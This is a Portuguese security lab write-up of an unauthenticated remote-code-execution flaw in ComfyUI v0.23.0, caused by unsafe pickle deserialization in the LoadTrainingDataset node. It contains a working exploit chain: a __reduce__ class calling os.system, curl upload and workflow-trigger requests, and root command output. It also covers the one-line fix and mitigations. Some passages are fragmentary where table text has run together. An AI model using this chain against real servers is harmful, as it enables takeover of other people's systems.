
Laboratório de pesquisa de segurança — RCE não autenticado via desserialização insegura no ComfyUI v0.23.0 (CVSS 9.8). Ambiente Docker isolado, análise técnica e documentação.
Apenas para fins educacionais. Use somente contra sistemas que você possui ou tem autorização escrita explícita para testar.
ComfyUI é uma interface gráfica de código aberto baseada em nós para executar modelos de geração de imagens e vídeos por IA localmente. Ele permite que os usuários construam pipelines de geração complexos conectando nós visualmente — cada nó representando uma operação como carregar um modelo, codificar prompts de texto, amostragem ou pós-processamento de imagens. Sua flexibilidade e suporte a uma ampla variedade de modelos (Stable Diffusion, Flux, HunyuanVideo e outros) o tornaram uma das ferramentas mais amplamente adotadas na comunidade de geração por IA.
A aplicação expõe uma API HTTP local na porta 8188, através da qual o frontend se comunica com o backend para enviar ativos e enfileirar fluxos de trabalho de geração. Embora projetado para uso local de usuário único, é comum encontrar instâncias do ComfyUI expostas em redes internas ou diretamente na internet — em ambientes de GPU na nuvem, configurações de pesquisa compartilhadas ou estúdios criativos auto-hospedados — frequentemente sem qualquer camada adicional de autenticação, correspondendo exatamente ao modelo de ameaça que esta vulnerabilidade visa.
No momento da divulgação, o ComfyUI tinha mais de 65.000 estrelas no GitHub e um ecossistema ativo de nós personalizados e extensões, muitos dos quais introduzem superfície de ataque adicional além da aplicação principal.
CVE-2026-68771 é uma vulnerabilidade de desserialização insegura (CWE-502) no ComfyUI v0.23.0 que permite a um atacante remoto não autenticado executar código arbitrário no servidor. A cadeia de ataque combina dois endpoints não autenticados: para enviar um arquivo pickle malicioso, e para acionar sua desserialização através do nó .
POST /upload/imagePOST /promptLoadTrainingDataset| Campo | Valor |
|---|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (Crítico) |
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (Desserialização de Dados Não Confiáveis) |
| Versão vulnerável | ComfyUI v0.23.0 (e anteriores sem a correção) |
| Versão corrigida | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| Publicado | 31 de julho de 2026 |
weights_only)POST /upload/image — server.py, linhas 450-453:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py, linhas 927-928:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
Nenhum dos endpoints implementa qualquer controle de acesso. Qualquer cliente HTTP pode enviar arquivos e enfileirar fluxos de trabalho sem autenticação.
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py, linha 1568:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
torch.load() sem weights_only=True usa o protocolo pickle do Python para desserializar o arquivo. Pickle não é um formato de dados — é um protocolo de serialização de objetos Python que executa o método __reduce__ de qualquer objeto durante a desserialização, permitindo execução de código arbitrário.
O nó dependia do padrão histórico do PyTorch (weights_only=False), tornando-o a única chamada torch.load em toda a base de código sem o parâmetro explícito. O restante da base de código (comfy/utils.py, comfy/sd1_clip.py) já o passava corretamente.
Atacante (não autenticado)
[0] CRIAR PICKLE MALICIOSO
└─ Serializar um objeto Python com __reduce__ retornando (os.system, ("cmd",))
└─ O formato torch.save() do PyTorch o envolve em um contêiner .pkl válido
└─ Saída: shard_0000.pkl — padrão de nome de arquivo válido esperado por LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Enviar shard_0000.pkl (pickle com __reduce__ malicioso)
└─ Parâmetros: type=output, subfolder=cve_test
└─ Resposta: 200 OK {"name":"shard_0000.pkl", ...}
└─ Arquivo chega em: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ Fluxo de trabalho JSON com nó LoadTrainingDataset
└─ folder_name: "cve_test" → aponta para a pasta contendo o .pkl enviado
└─ Resposta: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Localiza shard_0000.pkl no diretório
└─ torch.load(f) → desserializa o pickle
└─ __reduce__ executa: os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE como root
└─ uid=0(root) gid=0(root) groups=0(root)
O payload explora o protocolo reduce do pickle do Python. Quando torch.load() desserializa o arquivo, o Python instancia o objeto chamando o callable retornado por reduce, executando o comando controlado pelo atacante antes que qualquer lógica da aplicação seja executada.
O nome do arquivo deve corresponder ao padrão shard_*.pkl — codificado em LoadTrainingDataset.execute() como o filtro de descoberta de arquivos:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
Saída:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
Resposta:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200 sem token, sem sessão, sem cabeçalhos especiais.
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
Resposta:
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
Arquivo: comfy_extras/nodes_dataset.py
Autor: Matt Miller
Data: 18 de junho de 2026
PR: #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
Um único parâmetro. weights_only=True instrui o PyTorch a usar um desserializador restrito que aceita apenas tensores e tipos primitivos do Python, rejeitando qualquer objeto arbitrário com __reduce__.
A mensagem do commit resume claramente:
"LoadTrainingDataset era a única chamada torch.load na base de código sem weights_only=True; comfy/utils.py e comfy/sd1_clip.py já o passam. O PyTorch recente usa weights_only=True por padrão, então isso é defesa em profundidade para instalações fixadas em PyTorch mais antigo."
Nota sobre versão do PyTorch: A partir do PyTorch 2.6, o valor padrão de weights_only mudou de False para True, o que mitiga a vulnerabilidade em instalações modernas do PyTorch mesmo sem a correção do código. O CVE afeta particularmente instalações executando PyTorch < 2.6, que era o ambiente de produção típico quando foi publicado em julho de 2026.
Atualize o ComfyUI para o commit 94ee49b ou posterior. Uma linha de código.
1. Autenticação nos endpoints da API
O ComfyUI é projetado para uso local. Se exposto em uma rede, deve ser protegido com um proxy reverso (nginx/Caddy) com autenticação básica, ou usando a flag --multi-user com gerenciamento de sessão adequado.
2. Nunca exponha o ComfyUI diretamente à internet
O design da aplicação assume um ambiente local confiável. A pontuação CVSS 9.8 reflete a ausência completa de controles de acesso na camada de aplicação.
3. Validação de tipo de arquivo no upload
O endpoint /upload/image aceita qualquer extensão de arquivo, incluindo .pkl. Ele deve validar content-type e extensão contra uma lista de permissões de formatos de imagem reais.
torch.load já o tinham) sugere que este nó foi adicionado sem uma revisão de segurança.weights_only; o código vulnerável existiu durante todo esse período.Análise conduzida em ambiente isolado para fins educacionais. Laboratório destruído após a documentação.